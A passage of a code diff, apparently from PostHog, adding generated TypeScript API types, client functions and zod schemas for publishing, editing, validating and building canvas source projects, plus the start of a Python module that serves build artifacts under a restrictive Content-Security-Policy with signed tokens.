"https://registry.npmjs.org/victory-vendor/-/victory-vendor-36.9.2.tgz", + "integrity": "sha512-PnpQQMuxlwYdocC8fIJqVXvkeViHYzotI+NJrCuav0ZYFoq912ZHBk3mCeuj+5/VpodOjPe1z0Fk2ihgzlXqjQ==", + "license": "MIT AND ISC", + "dependencies": { + "@types/d3-array": "^3.0.3", + "@types/d3-ease": "^3.0.0", + "@types/d3-interpolate": "^3.0.1", + "@types/d3-scale": "^4.0.2", + "@types/d3-shape": "^3.1.0", + "@types/d3-time": "^3.0.0", + "@types/d3-timer": "^3.0.0", + "d3-array": "^3.1.6", + "d3-ease": "^3.0.1", + "d3-interpolate": "^3.0.1", + "d3-scale": "^4.0.2", + "d3-shape": "^3.1.0", + "d3-time": "^3.0.0", + "d3-timer": "^3.0.1" + } + } + } +} diff --git a/common/canvas-builder/package.json b/common/canvas-builder/package.json new file mode 100644 index 000000000000..43654200f2c1 --- /dev/null +++ b/common/canvas-builder/package.json @@ -0,0 +1,14 @@ +{ + "name": "@posthog/canvas-builder", + "private": true, + "type": "module", + "dependencies": { + "@posthog/quill": "0.3.0-beta.18", + "dayjs": "1.11.13", + "esbuild": "0.25.0", + "lucide-react": "1.21.0", + "react": "19.0.0", + "react-dom": "19.0.0", + "recharts": "2.15.0" + } +} diff --git a/frontend/src/generated/core/api.schemas.ts b/frontend/src/generated/core/api.schemas.ts index fadb3167bfa3..1aa50da05324 100644 --- a/frontend/src/generated/core/api.schemas.ts +++ b/frontend/src/generated/core/api.schemas.ts @@ -2809,20 +2809,242 @@ export interface PatchedFileSystemApi { } /** - * Payload for publishing a freeform canvas's React source via the agent. + * * `queued` - queued + * * `building` - building + * * `ready` - ready + * * `failed` - failed */ -export interface PatchedCanvasPublishApi { - /** The complete single-file React source for the canvas. */ - code?: string +export type BuildStatusEnumApi = (typeof BuildStatusEnumApi)[keyof typeof BuildStatusEnumApi] + +export const BuildStatusEnumApi = { + Queued: 'queued', + Building: 'building', + Ready: 'ready', + Failed: 'failed', +} as const + +/** + * * `error` - error + * * `warning` - warning + */ +export type DiagnosticSeverityEnumApi = (typeof DiagnosticSeverityEnumApi)[keyof typeof DiagnosticSeverityEnumApi] + +export const DiagnosticSeverityEnumApi = { + Error: 'error', + Warning: 'warning', +} as const + +/** + * One structured validation/build diagnostic for a canvas source project. + */ +export interface CanvasDiagnosticApi { + /** 'error' blocks publishing; 'warning' is advisory and does not block. + * + * * `error` - error + * * `warning` - warning */ + severity: DiagnosticSeverityEnumApi + /** Stable machine-readable diagnostic code, e.g. 'import_not_allowed' or 'unsupported_file'. */ + code: string + /** Human-readable description of the problem and how to fix it. */ + message: string + /** Project-relative path of the file the diagnostic points at, when file-specific. */ + path?: string + /** 1-based line number within `path`, when the diagnostic points at a specific line. */ + line?: number +} + +/** + * One emitted file of a built canvas artifact. + */ +export interface CanvasArtifactAssetApi { + /** Artifact-relative path of the emitted file. */ + path: string + /** Hex SHA-256 of the file content. */ + contentHash: string + /** Size of the file in bytes. */ + sizeBytes: number +} + +/** + * Exact dependency versions the artifact was built against. + */ +export type CanvasArtifactManifestApiDependencies = { [key: string]: string } + +/** + * Declared PostHog/network capabilities the artifact is held to at runtime. + */ +export type CanvasArtifactManifestApiCapabilities = { [key: string]: unknown } + +/** + * The manifest frozen into a ready build: entry, assets, versions, capabilities. + */ +export interface CanvasArtifactManifestApi { + /** The artifact's entry HTML file. */ + entryHtml: string + /** Every emitted artifact file with its content hash. */ + assets: CanvasArtifactAssetApi[] + /** Exact dependency versions the artifact was built against. */ + dependencies: CanvasArtifactManifestApiDependencies + /** Version of the `ph` canvas SDK the artifact targets. */ + canvasSdkVersion: string + /** + * Path of the runtime-mounted React component, for legacy-tier artifacts. + * @nullable + */ + legacyComponentPath?: string | null + /** + * The runtime-mounted component source, for legacy-tier artifacts. + * @nullable + */ + legacyCode?: string | null + /** Declared PostHog/network capabilities the artifact is held to at runtime. */ + capabilities: CanvasArtifactManifestApiCapabilities +} + +/** + * Lifecycle record of one build of a canvas source version. + */ +export interface CanvasBuildApi { + /** The build's id. */ + id: string + /** The source version this build compiled. */ + source_version_id: string + /** Build lifecycle state. A failed build never replaces the last-known-good artifact. + * + * * `queued` - queued + * * `building` - building + * * `ready` - ready + * * `failed` - failed */ + build_status: BuildStatusEnumApi + /** Structured diagnostics recorded by the build (errors explain a failed status). */ + diagnostics: CanvasDiagnosticApi[] + /** The frozen artifact manifest — present once the build is ready. */ + manifest?: CanvasArtifactManifestApi | null + /** + * Hex SHA-256 over the manifest — the artifact's integrity anchor. Null until ready. + * @nullable + */ + integrity: string | null + /** + * Short-lived URL for the ready build's entry HTML. Null until ready or when artifact delivery is unavailable. + * @nullable + */ + artifact_url: string | null + /** Pinned builds are retained for the lifetime of the canvas. */ + pinned: boolean + /** When the build was queued. */ + created_at: string + /** + * When the build reached a terminal state. + * @nullable + */ + finished_at: string | null +} + +/** + * A canvas's build lifecycle: live pointers plus its most recent builds. + */ +export interface CanvasBuildsResponseApi { + /** + * Id of the canvas's live build (the last successful, still-eligible one). Null until a build completes. + * @nullable + */ + published_build_id: string | null + /** + * Id of the source-version row the canvas's head points at. + * @nullable + */ + current_source_version_id: string | null + /** Most recent builds, newest first (capped at 20). */ + builds: CanvasBuildApi[] +} + +/** + * One per-file edit: set a file's content, or delete it. + */ +export interface CanvasSourceEditOperationApi { + /** Project-relative path of the file to write or delete (e.g. "src/canvas.tsx"). */ + path: string + /** + * The file's complete new content. Null (or omitted) deletes the file. + * @nullable + */ + content?: string | null +} + +/** + * Payload for publishing per-file edits against the canvas's current source. + */ +export interface CanvasSourceEditApi { + /** Edits applied in order to the canvas's current source project. */ + operations: CanvasSourceEditOperationApi[] /** Short description of the change, stored on the appended version history entry. */ prompt?: string /** Optional new display name for the canvas (rewrites the leaf segment of its path). */ name?: string /** - * Optimistic-concurrency guard: the currentVersionId the publisher based its edits on (null when it read a canvas with no versions yet). When provided and the canvas has since moved past it (a concurrent publish, or a user's undo) the publish is rejected with a 409 version_conflict instead of overwriting the newer head. Omit to publish unguarded. + * Required optimistic-concurrency guard: the current_version_id the edits are based on (null when the canvas has never been published). Diff edits against a moved head are rejected with 409 version_conflict — they cannot be published unguarded. * @nullable */ - expected_current_version_id?: string | null + expected_current_version_id: string | null +} + +/** + * Identity and version pointers for one canvas (a desktop 'dashboard' entry). + */ +export interface CanvasSummaryApi { + /** The canvas's desktop file-system id. */ + id: string + /** Display name of the canvas (the leaf segment of its path). */ + name: string + /** + * File-system id of the channel (folder) the canvas belongs to, when recorded. + * @nullable + */ + channel_id: string | null + /** + * Id of the live source version — pass as expected_current_version_id on publish. Null before the first publish. + * @nullable + */ + current_version_id: string | null + /** Number of source versions in the canvas's history. */ + version_count: number + /** When the canvas was created. */ + created_at: string + /** + * Id of the normalized source-version row the canvas's head points at (null before the lifecycle recorded one). + * @nullable + */ + current_source_version_id?: string | null + /** + * Id of the canvas's live (last successful, still-eligible) build. Null until a build completes. + * @nullable + */ + published_build_id?: string | null +} + +/** + * Result of a successful source-project publish. + */ +export interface CanvasSourcePublishResponseApi { + /** The canvas after the publish, including the new version pointer. */ + canvas: CanvasSummaryApi + /** Id of the source version this publish created. */ + current_version_id: string + /** Advisory (warning-severity) diagnostics recorded for the published project. */ + diagnostics: CanvasDiagnosticApi[] +} + +/** + * 400 body for a publish whose source project failed validation. + */ +export interface CanvasSourceInvalidApi { + /** Human-readable summary of why the project was rejected. */ + detail: string + /** Always "invalid_source_project". */ + code: string + /** The validation diagnostics, including at least one error. */ + diagnostics: CanvasDiagnosticApi[] } /** @@ -2840,6 +3062,137 @@ export interface CanvasPublishConflictApi { current_version_id: string | null } +/** + * * `base64` - base64 + */ +export type EncodingEnumApi = (typeof EncodingEnumApi)[keyof typeof EncodingEnumApi] + +export const EncodingEnumApi = { + Base64: 'base64', +} as const + +/** + * * `image/png` - image/png + * * `image/jpeg` - image/jpeg + * * `image/gif` - image/gif + * * `image/webp` - image/webp + * * `image/svg+xml` - image/svg+xml + * * `font/woff` - font/woff + * * `font/woff2` - font/woff2 + * * `application/wasm` - application/wasm + * * `application/octet-stream` - application/octet-stream + */ +export type ContentTypeEnumApi = (typeof ContentTypeEnumApi)[keyof typeof ContentTypeEnumApi] + +export const ContentTypeEnumApi = { + ImagePng: 'image/png', + ImageJpeg: 'image/jpeg', + ImageGif: 'image/gif', + ImageWebp: 'image/webp', + ImageSvgXml: 'image/svg+xml', + FontWoff: 'font/woff', + FontWoff2: 'font/woff2', + ApplicationWasm: 'application/wasm', + ApplicationOctetStream: 'application/octet-stream', +} as const + +export interface CanvasSourceAssetApi { + encoding: EncodingEnumApi + contentType: ContentTypeEnumApi + /** + * @maxLength 2796204 + * @pattern ^(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)?$ + */ + content: string +} + +/** + * Project files keyed by relative path (forward slashes, no '..'). Until the canvas build service ships, only "index.html" and "src/canvas.tsx" (the single React component the canvas mounts) are supported. + */ +export type CanvasSourceProjectApiFiles = { [key: string]: string } + +/** + * Optional base64-encoded binary assets keyed by safe project-relative paths. + */ +export type CanvasSourceProjectApiAssets = { [key: string]: CanvasSourceAssetApi } + +/** + * Exact-version dependencies, restricted to the platform-supported set (react, react-dom, @posthog/quill, recharts, lucide-react, dayjs) at their pinned versions. + */ +export type CanvasSourceProjectApiDependencies = { [key: string]: string } + +/** + * A canvas's multi-file source project — the canonical write format for canvas source. + * + * Until the canvas build service ships, projects are constrained to the + * legacy-compatible shape: `index.html` (a fixed synthetic shell) plus + * `src/canvas.tsx` (the single React component the runtime mounts). + */ +export interface CanvasSourceProjectApi { + /** Source-project schema version. Currently always 1. */ + schemaVersion: number + /** Project files keyed by relative path (forward slashes, no '..'). Until the canvas build service ships, only "index.html" and "src/canvas.tsx" (the single React component the canvas mounts) are supported. */ + files: CanvasSourceProjectApiFiles + /** Optional base64-encoded binary assets keyed by safe project-relative paths. */ + assets?: CanvasSourceProjectApiAssets + /** The project's entry HTML file. Currently always "index.html". */ + entryHtml: string + /** Exact-version dependencies, restricted to the platform-supported set (react, react-dom, @posthog/quill, recharts, lucide-react, dayjs) at their pinned versions. */ + dependencies?: CanvasSourceProjectApiDependencies + /** Version of the host-injected `ph` canvas SDK the project targets. */ + canvasSdkVersion?: string +} + +/** + * Payload for publishing a complete canvas source project. + */ +export interface CanvasSourcePublishApi { + /** The complete source project to publish. */ + project: CanvasSourceProjectApi + /** Short description of the change, stored on the appended version history entry. */ + prompt?: string + /** Optional new display name for the canvas (rewrites the leaf segment of its path). */ + name?: string + /** + * Optimistic-concurrency guard: the current_version_id the publisher based its edits on (null when it read a canvas with no versions yet). When the canvas has since moved past it the publish is rejected with a 409 version_conflict instead of overwriting the newer head. Omit to publish unguarded. + * @nullable + */ + expected_current_version_id?: string | null +} + +/** + * A canvas's source project plus the version pointer edits must be based on. + */ +export interface CanvasSourceResponseApi { + /** Identity and version pointers for the canvas. */ + canvas: CanvasSummaryApi + /** The canvas's source project. Legacy single-file canvases are presented as a synthetic project. */ + project: CanvasSourceProjectApi + /** + * The live source version this project reflects — pass as expected_current_version_id when publishing an edit. Null before the first publish. + * @nullable + */ + current_version_id: string | null +} + +/** + * Payload for validating a candidate source project without publishing it. + */ +export interface CanvasValidateRequestApi { + /** The candidate source project to validate. */ + project: CanvasSourceProjectApi +} + +/** + * Validation outcome for a candidate source project. + */ +export interface CanvasValidateResponseApi { + /** True when the project has no error-severity diagnostics. */ + valid: boolean + /** Structured diagnostics; errors block publishing, warnings are advisory. */ + diagnostics: CanvasDiagnosticApi[] +} + export interface ContextGenerationApi { /** * ID of the Task currently generating this folder's CONTEXT.md, or null if none. @@ -2918,6 +3271,16 @@ export interface PaginatedFolderInstructionsVersionListApi { results: FolderInstructionsVersionApi[] } +/** + * Payload for creating a new, empty canvas in a channel. + */ +export interface CanvasCreateApi { + /** Display name for the canvas. Slashes are replaced with spaces. */ + name: string + /** Desktop file-system id of the channel (folder) to create the canvas in. */ + channel_id: string +} + export interface FileSystemShortcutApi { readonly id: string /** Display path of the shortcut in the sidebar. */ @@ -4087,6 +4450,17 @@ export type DesktopFileSystemInstructionsVersionsListParams = { search?: string } +export type DesktopFileSystemCanvasesListParams = { + /** + * Only return canvases inside this channel (desktop folder id). + */ + channel_id?: string + /** + * A search term. + */ + search?: string +} + export type DesktopFileSystemShortcutListParams = { /** * Number of results to return per page. diff --git a/frontend/src/generated/core/api.ts b/frontend/src/generated/core/api.ts index 114ea750bb72..e32737a39445 100644 --- a/frontend/src/generated/core/api.ts +++ b/frontend/src/generated/core/api.ts @@ -13,9 +13,19 @@ import type { BulkUpdateTagsResponseApi, CIMDVerificationTokenApi, CIMDVerificationTokenWithValueApi, + CanvasBuildsResponseApi, + CanvasCreateApi, + CanvasSourceEditApi, + CanvasSourcePublishApi, + CanvasSourcePublishResponseApi, + CanvasSourceResponseApi, + CanvasSummaryApi, + CanvasValidateRequestApi, + CanvasValidateResponseApi, CimdVerificationTokensListParams, ContextGenerationApi, ContextGenerationSetApi, + DesktopFileSystemCanvasesListParams, DesktopFileSystemInstructionsVersionsListParams, DesktopFileSystemListParams, DesktopFileSystemShortcutListParams, @@ -56,7 +66,6 @@ import type { PaginatedProjectSecretAPIKeyListApi, PaginatedUserGitHubIntegrationListResponseListApi, PaginatedUserListApi, - PatchedCanvasPublishApi, PatchedEnterprisePropertyDefinitionApi, PatchedFileSystemApi, PatchedFileSystemShortcutApi, @@ -1434,32 +1443,122 @@ export const desktopFileSystemDestroy = async (projectId: string, id: string, op }) } -export const getDesktopFileSystemCanvasPartialUpdateUrl = (projectId: string, id: string) => { - return `/api/projects/${projectId}/desktop_file_system/${id}/canvas/` +export const getDesktopFileSystemCanvasBuildsRetrieveUrl = (projectId: string, id: string) => { + return `/api/projects/${projectId}/desktop_file_system/${id}/canvas/builds/` } /** - * Publish a new version of a freeform canvas's React source. + * Read a canvas's build lifecycle: live pointers plus recent builds with diagnostics. * - * Merges into the dashboard row's `meta` (never replaces it), so existing - * keys like `channelId`/`templateId` survive. Appends a full-file version - * snapshot and points `currentVersionId` at it — the server-side mirror of - * the app's dashboardsService.saveFreeform, including the linear-discard of - * any redo tail left behind by an undo. When the publisher passes - * `expected_current_version_id`, a publish based on a stale version is - * rejected with 409 `version_conflict` instead of overwriting the newer head. + * Poll this after publishing — the publish queues a build, and the + * canvas's `published_build_id` advances only once the build is ready. */ -export const desktopFileSystemCanvasPartialUpdate = async ( +export const desktopFileSystemCanvasBuildsRetrieve = async ( projectId: string, id: string, - patchedCanvasPublishApi?: PatchedCanvasPublishApi, options?: RequestInit -): Promise => { - return apiMutator(getDesktopFileSystemCanvasPartialUpdateUrl(projectId, id), { +): Promise => { + return apiMutator(getDesktopFileSystemCanvasBuildsRetrieveUrl(projectId, id), { ...options, - method: 'PATCH', + method: 'GET', + }) +} + +export const getDesktopFileSystemCanvasEditCreateUrl = (projectId: string, id: string) => { + return `/api/projects/${projectId}/desktop_file_system/${id}/canvas/edit/` +} + +/** + * Publish per-file edits against the canvas's current source project. + * + * Diff-aware alternative to sending the complete project: each operation + * sets a file's content or (content null) deletes it, applied to the head + * the caller read. `expected_current_version_id` is mandatory here — + * relative edits against an unverified base could silently merge into + * someone else's newer work, so unguarded diff publishes are refused. + */ +export const desktopFileSystemCanvasEditCreate = async ( + projectId: string, + id: string, + canvasSourceEditApi: CanvasSourceEditApi, + options?: RequestInit +): Promise => { + return apiMutator(getDesktopFileSystemCanvasEditCreateUrl(projectId, id), { + ...options, + method: 'POST', + headers: { 'Content-Type': 'application/json', ...options?.headers }, + body: JSON.stringify(canvasSourceEditApi), + }) +} + +export const getDesktopFileSystemCanvasPublishCreateUrl = (projectId: string, id: string) => { + return `/api/projects/${projectId}/desktop_file_system/${id}/canvas/publish/` +} + +/** + * Publish a complete canvas source project as the canvas's new head version. + * + * Validates the project first — an error-severity diagnostic rejects the + * publish with 400 and leaves the canvas untouched. Guarded publishing via + * `expected_current_version_id` rejects a stale base with 409 instead of + * overwriting newer work. + */ +export const desktopFileSystemCanvasPublishCreate = async ( + projectId: string, + id: string, + canvasSourcePublishApi: CanvasSourcePublishApi, + options?: RequestInit +): Promise => { + return apiMutator(getDesktopFileSystemCanvasPublishCreateUrl(projectId, id), { + ...options, + method: 'POST', + headers: { 'Content-Type': 'application/json', ...options?.headers }, + body: JSON.stringify(canvasSourcePublishApi), + }) +} + +export const getDesktopFileSystemCanvasSourceRetrieveUrl = (projectId: string, id: string) => { + return `/api/projects/${projectId}/desktop_file_system/${id}/canvas/source/` +} + +/** + * Read a canvas's source project and the version pointer edits must be based on. + * + * Legacy single-file canvases are presented as a synthetic web project whose + * `src/canvas.tsx` holds the stored React component. + */ +export const desktopFileSystemCanvasSourceRetrieve = async ( + projectId: string, + id: string, + options?: RequestInit +): Promise => { + return apiMutator(getDesktopFileSystemCanvasSourceRetrieveUrl(projectId, id), { + ...options, + method: 'GET', + }) +} + +export const getDesktopFileSystemCanvasValidateCreateUrl = (projectId: string, id: string) => { + return `/api/projects/${projectId}/desktop_file_system/${id}/canvas/validate/` +} + +/** + * Validate a candidate source project without publishing it. + * + * Side-effect free: returns the same structured diagnostics a publish would + * enforce, so agents can iterate until the project is publishable. + */ +export const desktopFileSystemCanvasValidateCreate = async ( + projectId: string, + id: string, + canvasValidateRequestApi: CanvasValidateRequestApi, + options?: RequestInit +): Promise => { + return apiMutator(getDesktopFileSystemCanvasValidateCreateUrl(projectId, id), { + ...options, + method: 'POST', headers: { 'Content-Type': 'application/json', ...options?.headers }, - body: JSON.stringify(patchedCanvasPublishApi), + body: JSON.stringify(canvasValidateRequestApi), }) } @@ -1687,6 +1786,61 @@ export const desktopFileSystemMoveCreate = async ( }) } +export const getDesktopFileSystemCanvasesListUrl = ( + projectId: string, + params?: DesktopFileSystemCanvasesListParams +) => { + const normalizedParams = new URLSearchParams() + + Object.entries(params || {}).forEach(([key, value]) => { + if (value !== undefined) { + normalizedParams.append(key, value === null ? 'null' : String(value)) + } + }) + + const stringifiedParams = normalizedParams.toString() + + return stringifiedParams.length > 0 + ? `/api/projects/${projectId}/desktop_file_system/canvases/?${stringifiedParams}` + : `/api/projects/${projectId}/desktop_file_system/canvases/` +} + +/** + * List the project's canvases, newest first (capped at 100). + */ +export const desktopFileSystemCanvasesList = async ( + projectId: string, + params?: DesktopFileSystemCanvasesListParams, + options?: RequestInit +): Promise => { + return apiMutator(getDesktopFileSystemCanvasesListUrl(projectId, params), { + ...options, + method: 'GET', + }) +} + +export const getDesktopFileSystemCanvasesCreateUrl = (projectId: string) => { + return `/api/projects/${projectId}/desktop_file_system/canvases/` +} + +/** + * Create a new, empty canvas in a channel. + * + * The canvas starts with no source; publish a source project to give it one. + */ +export const desktopFileSystemCanvasesCreate = async ( + projectId: string, + canvasCreateApi: CanvasCreateApi, + options?: RequestInit +): Promise => { + return apiMutator(getDesktopFileSystemCanvasesCreateUrl(projectId), { + ...options, + method: 'POST', + headers: { 'Content-Type': 'application/json', ...options?.headers }, + body: JSON.stringify(canvasCreateApi), + }) +} + export const getDesktopFileSystemCountByPathCreateUrl = (projectId: string) => { return `/api/projects/${projectId}/desktop_file_system/count_by_path/` } diff --git a/frontend/src/generated/core/api.zod.ts b/frontend/src/generated/core/api.zod.ts index d3d9af444968..dce2cbbe1aca 100644 --- a/frontend/src/generated/core/api.zod.ts +++ b/frontend/src/generated/core/api.zod.ts @@ -9073,19 +9073,119 @@ export const DesktopFileSystemPartialUpdateBody = /* @__PURE__ */ zod.object({ }) /** - * Publish a new version of a freeform canvas's React source. + * Publish per-file edits against the canvas's current source project. * - * Merges into the dashboard row's `meta` (never replaces it), so existing - * keys like `channelId`/`templateId` survive. Appends a full-file version - * snapshot and points `currentVersionId` at it — the server-side mirror of - * the app's dashboardsService.saveFreeform, including the linear-discard of - * any redo tail left behind by an undo. When the publisher passes - * `expected_current_version_id`, a publish based on a stale version is - * rejected with 409 `version_conflict` instead of overwriting the newer head. + * Diff-aware alternative to sending the complete project: each operation + * sets a file's content or (content null) deletes it, applied to the head + * the caller read. `expected_current_version_id` is mandatory here — + * relative edits against an unverified base could silently merge into + * someone else's newer work, so unguarded diff publishes are refused. */ -export const DesktopFileSystemCanvasPartialUpdateBody = /* @__PURE__ */ zod +export const DesktopFileSystemCanvasEditCreateBody = /* @__PURE__ */ zod .object({ - code: zod.string().optional().describe('The complete single-file React source for the canvas.'), + operations: zod + .array( + zod + .object({ + path: zod + .string() + .describe( + 'Project-relative path of the file to write or delete (e.g. \"src\/canvas.tsx\").' + ), + content: zod + .string() + .nullish() + .describe("The file's complete new content. Null (or omitted) deletes the file."), + }) + .describe("One per-file edit: set a file's content, or delete it.") + ) + .describe("Edits applied in order to the canvas's current source project."), + prompt: zod + .string() + .optional() + .describe('Short description of the change, stored on the appended version history entry.'), + name: zod + .string() + .optional() + .describe('Optional new display name for the canvas (rewrites the leaf segment of its path).'), + expected_current_version_id: zod + .string() + .nullable() + .describe( + 'Required optimistic-concurrency guard: the current_version_id the edits are based on (null when the canvas has never been published). Diff edits against a moved head are rejected with 409 version_conflict — they cannot be published unguarded.' + ), + }) + .describe("Payload for publishing per-file edits against the canvas's current source.") + +/** + * Publish a complete canvas source project as the canvas's new head version. + * + * Validates the project first — an error-severity diagnostic rejects the + * publish with 400 and leaves the canvas untouched. Guarded publishing via + * `expected_current_version_id` rejects a stale base with 409 instead of + * overwriting newer work. + */ +export const desktopFileSystemCanvasPublishCreateBodyProjectOneAssetsContentMax = 2796204 + +export const desktopFileSystemCanvasPublishCreateBodyProjectOneAssetsContentRegExp = new RegExp( + '^(?:[A-Za-z0-9+\/]{4})\*(?:[A-Za-z0-9+\/]{2}==|[A-Za-z0-9+\/]{3}=)?$' +) +export const desktopFileSystemCanvasPublishCreateBodyProjectOneCanvasSdkVersionDefault = `0.1.0` + +export const DesktopFileSystemCanvasPublishCreateBody = /* @__PURE__ */ zod + .object({ + project: zod + .object({ + schemaVersion: zod.number().describe('Source-project schema version. Currently always 1.'), + files: zod + .record(zod.string(), zod.string()) + .describe( + 'Project files keyed by relative path (forward slashes, no \'..\'). Until the canvas build service ships, only \"index.html\" and \"src\/canvas.tsx\" (the single React component the canvas mounts) are supported.' + ), + assets: zod + .record( + zod.string(), + zod.object({ + encoding: zod.enum(['base64']).describe('\* `base64` - base64'), + contentType: zod + .enum([ + 'image/png', + 'image/jpeg', + 'image/gif', + 'image/webp', + 'image/svg+xml', + 'font/woff', + 'font/woff2', + 'application/wasm', + 'application/octet-stream', + ]) + .describe( + '\* `image\/png` - image\/png\n\* `image\/jpeg` - image\/jpeg\n\* `image\/gif` - image\/gif\n\* `image\/webp` - image\/webp\n\* `image\/svg+xml` - image\/svg+xml\n\* `font\/woff` - font\/woff\n\* `font\/woff2` - font\/woff2\n\* `application\/wasm` - application\/wasm\n\* `application\/octet-stream` - application\/octet-stream' + ), + content: zod + .string() + .max(desktopFileSystemCanvasPublishCreateBodyProjectOneAssetsContentMax) + .regex(desktopFileSystemCanvasPublishCreateBodyProjectOneAssetsContentRegExp), + }) + ) + .optional() + .describe('Optional base64-encoded binary assets keyed by safe project-relative paths.'), + entryHtml: zod.string().describe('The project\'s entry HTML file. Currently always \"index.html\".'), + dependencies: zod + .record(zod.string(), zod.string()) + .optional() + .describe( + 'Exact-version dependencies, restricted to the platform-supported set (react, react-dom, @posthog\/quill, recharts, lucide-react, dayjs) at their pinned versions.' + ), + canvasSdkVersion: zod + .string() + .default(desktopFileSystemCanvasPublishCreateBodyProjectOneCanvasSdkVersionDefault) + .describe('Version of the host-injected `ph` canvas SDK the project targets.'), + }) + .describe( + "A canvas's multi-file source project — the canonical write format for canvas source.\n\nUntil the canvas build service ships, projects are constrained to the\nlegacy-compatible shape: `index.html` (a fixed synthetic shell) plus\n`src\/canvas.tsx` (the single React component the runtime mounts)." + ) + .describe('The complete source project to publish.'), prompt: zod .string() .optional() @@ -9098,10 +9198,80 @@ export const DesktopFileSystemCanvasPartialUpdateBody = /* @__PURE__ */ zod .string() .nullish() .describe( - "Optimistic-concurrency guard: the currentVersionId the publisher based its edits on (null when it read a canvas with no versions yet). When provided and the canvas has since moved past it (a concurrent publish, or a user's undo) the publish is rejected with a 409 version_conflict instead of overwriting the newer head. Omit to publish unguarded." + 'Optimistic-concurrency guard: the current_version_id the publisher based its edits on (null when it read a canvas with no versions yet). When the canvas has since moved past it the publish is rejected with a 409 version_conflict instead of overwriting the newer head. Omit to publish unguarded.' ), }) - .describe("Payload for publishing a freeform canvas's React source via the agent.") + .describe('Payload for publishing a complete canvas source project.') + +/** + * Validate a candidate source project without publishing it. + * + * Side-effect free: returns the same structured diagnostics a publish would + * enforce, so agents can iterate until the project is publishable. + */ +export const desktopFileSystemCanvasValidateCreateBodyProjectOneAssetsContentMax = 2796204 + +export const desktopFileSystemCanvasValidateCreateBodyProjectOneAssetsContentRegExp = new RegExp( + '^(?:[A-Za-z0-9+\/]{4})\*(?:[A-Za-z0-9+\/]{2}==|[A-Za-z0-9+\/]{3}=)?$' +) +export const desktopFileSystemCanvasValidateCreateBodyProjectOneCanvasSdkVersionDefault = `0.1.0` + +export const DesktopFileSystemCanvasValidateCreateBody = /* @__PURE__ */ zod + .object({ + project: zod + .object({ + schemaVersion: zod.number().describe('Source-project schema version. Currently always 1.'), + files: zod + .record(zod.string(), zod.string()) + .describe( + 'Project files keyed by relative path (forward slashes, no \'..\'). Until the canvas build service ships, only \"index.html\" and \"src\/canvas.tsx\" (the single React component the canvas mounts) are supported.' + ), + assets: zod + .record( + zod.string(), + zod.object({ + encoding: zod.enum(['base64']).describe('\* `base64` - base64'), + contentType: zod + .enum([ + 'image/png', + 'image/jpeg', + 'image/gif', + 'image/webp', + 'image/svg+xml', + 'font/woff', + 'font/woff2', + 'application/wasm', + 'application/octet-stream', + ]) + .describe( + '\* `image\/png` - image\/png\n\* `image\/jpeg` - image\/jpeg\n\* `image\/gif` - image\/gif\n\* `image\/webp` - image\/webp\n\* `image\/svg+xml` - image\/svg+xml\n\* `font\/woff` - font\/woff\n\* `font\/woff2` - font\/woff2\n\* `application\/wasm` - application\/wasm\n\* `application\/octet-stream` - application\/octet-stream' + ), + content: zod + .string() + .max(desktopFileSystemCanvasValidateCreateBodyProjectOneAssetsContentMax) + .regex(desktopFileSystemCanvasValidateCreateBodyProjectOneAssetsContentRegExp), + }) + ) + .optional() + .describe('Optional base64-encoded binary assets keyed by safe project-relative paths.'), + entryHtml: zod.string().describe('The project\'s entry HTML file. Currently always \"index.html\".'), + dependencies: zod + .record(zod.string(), zod.string()) + .optional() + .describe( + 'Exact-version dependencies, restricted to the platform-supported set (react, react-dom, @posthog\/quill, recharts, lucide-react, dayjs) at their pinned versions.' + ), + canvasSdkVersion: zod + .string() + .default(desktopFileSystemCanvasValidateCreateBodyProjectOneCanvasSdkVersionDefault) + .describe('Version of the host-injected `ph` canvas SDK the project targets.'), + }) + .describe( + "A canvas's multi-file source project — the canonical write format for canvas source.\n\nUntil the canvas build service ships, projects are constrained to the\nlegacy-compatible shape: `index.html` (a fixed synthetic shell) plus\n`src\/canvas.tsx` (the single React component the runtime mounts)." + ) + .describe('The candidate source project to validate.'), + }) + .describe('Payload for validating a candidate source project without publishing it.') /** * Set or clear the Task associated with this folder's CONTEXT.md generation. @@ -9201,6 +9371,18 @@ export const DesktopFileSystemMoveCreateBody = /* @__PURE__ */ zod.object({ shortcut: zod.boolean().nullish(), }) +/** + * Create a new, empty canvas in a channel. + * + * The canvas starts with no source; publish a source project to give it one. + */ +export const DesktopFileSystemCanvasesCreateBody = /* @__PURE__ */ zod + .object({ + name: zod.string().describe('Display name for the canvas. Slashes are replaced with spaces.'), + channel_id: zod.string().describe('Desktop file-system id of the channel (folder) to create the canvas in.'), + }) + .describe('Payload for creating a new, empty canvas in a channel.') + /** * Get count of all files in a folder. */ diff --git a/posthog/api/canvas_artifacts.py b/posthog/api/canvas_artifacts.py new file mode 100644 index 000000000000..a6afebe7712f --- /dev/null +++ b/posthog/api/canvas_artifacts.py @@ -0,0 +1,117 @@ +import hmac +import hashlib +from typing import Any +from urllib.parse import urlparse +from uuid import UUID + +from django.conf import settings +from django.core import signing +from django.http import Http404, HttpRequest, HttpResponse +from django.views.decorators.clickjacking import xframe_options_exempt + +from posthog.models.file_system.canvas_build import CanvasBuild +from posthog.storage import object_storage + +ARTIFACT_TOKEN_MAX_AGE_SECONDS = 3600 +ARTIFACT_TOKEN_SALT = "posthog.canvas.artifact.v1" +ARTIFACT_CSP = ( + "default-src 'none'; base-uri 'none'; object-src 'none'; form-action 'none'; " + "script-src 'self'; style-src 'self' 'unsafe-inline'; connect-src 'none'; " + "img-src 'self' data: blob:; font-src 'self' data:; media-src 'self' data: blob:; worker-src 'self' blob:" +) + + +def _configured_artifact_host() -> str | None: + origin = urlparse(settings.CANVAS_ARTIFACT_ORIGIN) + if ( + origin.scheme != "https" + or not origin.netloc + or origin.username + or origin.password + or origin.path not in {"", "/"} + or origin.query + or origin.fragment + ): + return None + return origin.netloc.lower() + + +def create_canvas_artifact_token(build: CanvasBuild) -> str | None: + keys = settings.CANVAS_ARTIFACT_SIGNING_KEYS + if not keys or (not settings.CANVAS_ARTIFACT_ORIGIN and not (settings.DEBUG or settings.TEST)): + return None + if not (settings.DEBUG or settings.TEST) and (len(keys[0]) < 32 or _configured_artifact_host() is None): + return None + return signing.TimestampSigner(key=keys[0], salt=ARTIFACT_TOKEN_SALT).sign_object( + {"team_id": build.team_id, "canvas_id": str(build.canvas_id), "build_id": str(build.id)}, compress=True + ) + + +def create_canvas_artifact_url(build: CanvasBuild, artifact_path: str) -> str | None: + token = 